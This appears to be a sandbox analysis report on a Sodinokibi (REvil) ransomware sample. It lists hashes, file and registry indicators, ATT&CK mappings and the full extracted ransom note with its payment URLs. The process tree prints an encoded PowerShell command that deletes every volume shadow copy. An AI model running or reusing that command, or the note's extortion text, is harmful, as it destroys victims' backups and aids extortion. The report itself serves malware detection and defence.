sodinokibi | a27a783e16fda91874b4885fd874c0018b82dec16061d15d8c701b61541d9d86

General

Target

cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
Size

164KB
MD5

cf36089d8aada316b4188e74ae11dc58
SHA1

89270cd7f54b8d386b2a952ff71a934588035da7
SHA256

a27a783e16fda91874b4885fd874c0018b82dec16061d15d8c701b61541d9d86
SHA512

ac6ac6a919cd18b4d0fa7af95b69d180bef5b5aba65a93752bf637465082c00bf74239c5aa41396ed6df2a0a6215ba86d71e1bacd5a05dbd1c89b9a7f458a9c3
SSDEEP

1536:FYVLroT4ciMeW75jVZF+pWGRjICS4At+GbvF0qcX8opz25maL3SUtNDWyPwop6iM:FHixaVZFiOCDJtOicNDWEzZDVrNgB

Score

10^/10

sodinokibi discovery ransomware

Malware Config

Extracted

Path

C:\Recovery\how to decrypt x460y8q9z-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension x460y8q9z. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FF05FAD77271711F 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/FF05FAD77271711F Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: K8egcESDQiTHhXu16ResImK9PPwwmJ4mDPC17J17BbErrEmuzSMhigUlhF2XO6VT Olx1bTQAHV0vafF0GbePgzJ3eIin9E4Lq/javxsz1o8qGiNWcKbmccrLlpvmekNS 90w/Xf8xA7bI95YqS/6FEU/4UdhKbBCZMD6BGDplxUcKOkXM1gzhqwngZ2NcnNAj TCywbriDC+/+5Qly5blUKOjzMndWcmfOkJ5u4UN43Est4DjCMvxx0iIHLGOdJE84 nJVU6O03Lcs/vxD5rkV7dLqo/DfoHz+8ztRBLKCGVIXSCMawTleQuhQA30ZKGEVP StnIqcqhcj4TK8I6XQIp+bJ64DPHAGZBhYDmAb5bsFk5fscFIg9jLHf+JfZ01+uL 5TrRHQs9xzviHECW8svhrtQM006GbiLzzSg1U+AzKrJD/FFLJOeYgki8niw24Cdl mlH+kLndiG44m5TZ87uhf7mHcHKylfWL0OX+RD+ELSjWNvU9QpORvJJ2AxsveuQX zGNchaU3aN6hjyl6FfeW5L4RhPmPtmD2uGxdF+Ca/ARa1LGAgmzYsh2eqYh3sE+l 6PZ96LVz3EG5JDgmiLJCiji0AbJZWtoqRDINLMV7orNOFxccm4XjTGDjfDH84IvK 6ScEqiQ/82yS9/5q0pl1J8UU0l5d8aGL/QGTlrBfSOllNGeDlCFfP5Jbw2wrXhUd JLYiy4RW09pMGNW/KiljW2510ioRNTESUiyxntQbw77dTL2m/QwiiGf65hxb5Q2b fBEfxJ82WedSWI3PPGzh6z9RhyK7szJ5fW3vSb8hkqnbpqYLhuPIuMwXTI566riH lTAf0y1XCPin1/bwSKsnaLP/7dT4D4EMqnZOm9nsdKuuy/m8dZ1BksRYYoSqzw0m /YLlD7WbiVSi8ETPw7J0vfc3ks8oeWv3BjfmDu00UMr7OSZMHFDB0zLSXl742TQd 4x/5OUz9bLRl1eSKWCM0ciB2OL0H+Vs0efg2ur/UfkkNp4SEcR3UHCZbeYmpp0np TU8wMZsUZe/Hm9nHkbHsycqucU7qpC/J5wFPisHVKKcvs9j8Hr7CN4sDnjiltYH+ FgmRT3rWMjjWudVPVpoAfq5bV2LB8bTU8rWE5qpXb5uqcX5ORsOGHR5pcwi7nOup lUukf0LNAPNi4vIxGCBrOfYgxIOdZGbHHTm35p70DeHhM66pCAR2w/FqRPC9bBiD A4jNN5wk3Tyey5v3UNE3uewN Extension name: x460y8q9z ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FF05FAD77271711F

http://decryptor.top/FF05FAD77271711F

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\M:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\E:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\G:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\Q:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\K:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\N:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\F:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\B:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\L:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\O:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\A:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\H:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\S:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\J:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\T:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\U:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\V:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\X:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\P:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\R:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\D:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\W:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\Y:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened (read-only)	\??\Z:	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3718294u1d1.bmp"	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe

Drops file in Program Files directory 29 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\DebugPing.xml	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UseSet.docx	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnregisterDeny.potm	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File created	\??\c:\program files\how to decrypt x460y8q9z-readme.txt	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CompleteMeasure.js	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\GrantWatch.dotx	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SplitRepair.iso	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File created	\??\c:\program files (x86)\how to decrypt x460y8q9z-readme.txt	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\AddRevoke.mov	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SuspendOpen.wav	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\how to decrypt x460y8q9z-readme.txt	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ApproveRestore.tiff	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\StartRename.xltx	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\TestReceive.aifc	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UpdatePop.vsdm	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SetBlock.wmx	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\how to decrypt x460y8q9z-readme.txt	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MountImport.jpeg	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResetBackup.ini	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SearchConnect.crw	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SelectConvert.htm	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\how to decrypt x460y8q9z-readme.txt	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConvertFromJoin.scf	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DisconnectAssert.DVR	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\HideRedo.jpeg	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CopyUndo.raw	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\EditSuspend.xps	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MergeNew.xlsb	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SyncConvertTo.xml	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2684	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeBackupPrivilege	2544	vssvc.exe
Token: SeRestorePrivilege	2544	vssvc.exe
Token: SeAuditPrivilege	2544	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2684 wrote to memory of 2784	2684	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe	31
PID 2684 wrote to memory of 2784	2684	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe	31
PID 2684 wrote to memory of 2784	2684	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe	31
PID 2684 wrote to memory of 2784	2684	cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe	31

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\cf36089d8aada316b4188e74ae11dc58_JaffaCakes118.exe"
1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2784

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1600

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Recovery\how to decrypt x460y8q9z-readme.txt

Filesize
6KB

MD5
7ebaf6526ee903b2d106697486d2046f

SHA1
ae35df61fbc33a4311daf5b75b26701f04199006

SHA256
1b189b7948b0643467f1ebafa04c9920515d2c21c8561246c2ae703eae7ac577

SHA512
25c4edad5f5bd8a0da3bd9317918ed084c31a75fdf4be85319a078bddeb39ff4bb4e96c1d7eab2b01cfd412afdc08ef11cd918ec19180adaf54bd1b19b199a09

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab7BB7.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar7BCA.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Windows\System32\catroot2\dberr.txt

Filesize
191KB

MD5
3e87eba63db525ab9ea5648157110db6

SHA1
84f8339132e34a03f4f809559c927b81afbd7c0f

SHA256
691521d12463ef3e4cbb4af59e8a773e2145bd4f4a873f776657a917d978ce6f

SHA512
338b6d9d7750e3f95a7da9d3043668c26882208fe6db71f9c5025be412f4b108d0be1c6e3361cd2c631744566655475a062cbb3ca14b2188a1c70ff5c0e011a1

Download Submit
memory/2784-4-0x000007FEF64EE000-0x000007FEF64EF000-memory.dmp

Filesize
4KB

Download
memory/2784-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2784-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2784-7-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-8-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-9-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-10-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads